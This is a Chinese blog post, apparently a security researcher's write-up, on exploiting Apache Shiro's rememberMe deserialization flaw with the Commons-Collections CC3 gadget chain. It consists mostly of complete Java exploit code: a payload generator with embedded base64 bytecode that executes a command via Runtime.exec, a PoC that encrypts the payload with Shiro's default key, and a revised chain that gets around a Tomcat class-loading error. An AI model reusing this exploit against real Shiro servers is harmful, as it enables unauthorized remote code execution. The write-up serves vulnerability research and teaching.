Shiro反序列化结合CC3链使用
环境
shirodemo:https://github.com/phith0n/JavaThings/tree/master/shirodemo 使用 mvn package 将项目打包成war包
- shiro-core、shiro-web,这是shiro本身的依赖
- javax.servlet-api、jsp-api,这是JSP和Servlet的依赖,仅在编译阶段使用,因为Tomcat中自带这 两个依赖
- slf4j-api、slf4j-simple,这是为了显示shiro中的报错信息添加的依赖
- commons-logging,这是shiro中用到的一个接口,不添加会爆
- java.lang.ClassNotFoundException: org.apache.commons.logging.LogFactory 错误
- commons-collections,为了演示反序列化漏洞,增加了commons-collections依赖
可以使用IDEA运行war文件可以看到报错
分析
shiro的反序列化原理在之前的文章里写过链接
主要原因就是拿到key之后将恶意的序列化payload发送给服务端 然后解密的时候进行反序列化
这里使用cc3链生成payload
package com.shiroTest;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public byte[] getPayload() throws Exception{
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAhTGNvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3Q7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgcAJgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAZABoHACcMACgAKQEABGNhbGMMACoAKwEAH2NvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAABEACwAAACAAAwAAAAEADAANAAAAAAABAA4ADwABAAAAAQAQABEAAgASAAAABAABABMAAQAHABQAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABYACwAAACoABAAAAAEADAANAAAAAAABAA4ADwABAAAAAQAVABYAAgAAAAEAFwAYAAMAEgAAAAQAAQATAAEAGQAaAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAAGAAEABkADQAaAAsAAAAMAAEAAAAOAAwADQAAABIAAAAEAAEAGwABABwAAAACAB0=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_name","dwa");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter")),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
)
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
//第一个参数的map
// get方法中调用的是map.get
// 目的是调用lazyMap中的get方法 所以第一个参数是lazyMap
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, "aaa");
HashMap<Object, Object> map2 = new HashMap<>();
//hashMap的readObject时会调用hash方法
// 然后key.hashCode() 会调用key的hashCode方法 key的值为tiedMapEntry
//调用tiedMapEntry的hashCode然后待用getValue方法 然后调用get方法
map2.put(tiedMapEntry, "sss");
lazymap.remove("aaa");
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(map2);
objectOutputStream.close();
return barr.toByteArray();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
getPayload会返回cc3链的byte
构造poc
package com.shiroTest;
public class shiroTest {
public static void main(String []args) throws Exception{
byte[] payloads = new CC3().getPayload();
AesCipherService aes = new AesCipherService();
byte[] key = Base64.getDecoder().decode("kPH+bIxk5D2deZiIxcaaaA==");
ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());
}
}
使用shiro的默认加密模块进行加密 秘钥是默认秘钥 运行之后将生成的payload发送过去 会发现报错了
Caused by: org.apache.shiro.util.UnknownClassException: Unable to load class named [[Lorg.apache.commons.collections.Transformer;] from the thread context, current, or system/application ClassLoaders. All heuristics have been exhausted. Class could not be found.
at org.apache.shiro.util.ClassUtils.forName(ClassUtils.java:148)
at org.apache.shiro.io.ClassResolvingObjectInputStream.resolveClass(ClassResolvingObjectInputStream.java:53)
... 65 more
报错原因参考https://blog.zsxsoft.com/post/35 过程较为复杂 涉及到大量Tomcat对类加载的处理逻辑 此处只给出结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。 不能是数组 就是cc链中的transformers数组 ChainedTransformer的参数
cc3链中transformers也只有两个元素
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter")),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}
)
};
而第一个元素ConstantTransformer是因为我们在cc1的时候因为调用setvalue的参数不可控 所以借助ConstantTransformer返回值不受参数的影响进行链式调用
但是注意到cc3中利用的是TiedMapEntry的getValue方法 而getValue方法中
public Object getValue() {
return map.get(key);
}
这个key是我们可以控制的 所以这里就可以对数组进行简化 关键代码
Transformer transformers = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
....
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"));
.... lazymap.remove(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"));
完整payload
package com.shiroTest;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public byte[] getPayload2() throws Exception{
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQALAoABgAeCgAfACAIACEKAB8AIgcAIwcAJAEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAhTGNvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3Q7AQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEACkV4Y2VwdGlvbnMHACUBAKYoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIaXRlcmF0b3IBADVMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yOwEAB2hhbmRsZXIBAEFMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwEABjxpbml0PgEAAygpVgcAJgEAClNvdXJjZUZpbGUBAA1jb2RlVGVzdC5qYXZhDAAZABoHACcMACgAKQEABGNhbGMMACoAKwEAH2NvbS9UZW1wbGFzdGVzSW1wbFRlc3QvY29kZVRlc3QBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQATamF2YS9sYW5nL0V4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsAIQAFAAYAAAAAAAMAAQAHAAgAAgAJAAAAPwAAAAMAAAABsQAAAAIACgAAAAYAAQAAABEACwAAACAAAwAAAAEADAANAAAAAAABAA4ADwABAAAAAQAQABEAAgASAAAABAABABMAAQAHABQAAgAJAAAASQAAAAQAAAABsQAAAAIACgAAAAYAAQAAABYACwAAACoABAAAAAEADAANAAAAAAABAA4ADwABAAAAAQAVABYAAgAAAAEAFwAYAAMAEgAAAAQAAQATAAEAGQAaAAIACQAAAEAAAgABAAAADiq3AAG4AAISA7YABFexAAAAAgAKAAAADgADAAAAGAAEABkADQAaAAsAAAAMAAEAAAAOAAwADQAAABIAAAAEAAEAGwABABwAAAACAB0=");
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates,"_bytecodes",new byte[][]{bytes});
setFieldValue(templates,"_name","dwa");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
Transformer transformers = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
HashMap<Object, Object> map = new HashMap<>();
Map<Object,Object> lazymap = LazyMap.decorate(map, new ConstantTransformer(1));
//第一个参数的map
// get方法中调用的是map.get
// 目的是调用lazyMap中的get方法 所以第一个参数是lazyMap
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap, Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"));
HashMap<Object, Object> map2 = new HashMap<>();
//hashMap的readObject时会调用hash方法
// 然后key.hashCode() 会调用key的hashCode方法 key的值为tiedMapEntry
//调用tiedMapEntry的hashCode然后待用getValue方法 然后调用get方法
map2.put(tiedMapEntry, "sss");
lazymap.remove(Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter"));
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);
objectOutputStream.writeObject(map2);
objectOutputStream.close();
return barr.toByteArray();
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj,value);
}
}
Shiro反序列化结合CC3链使用
http://example.com/2021/09/21/OldBlog/shiro反序列化结合cc3链使用/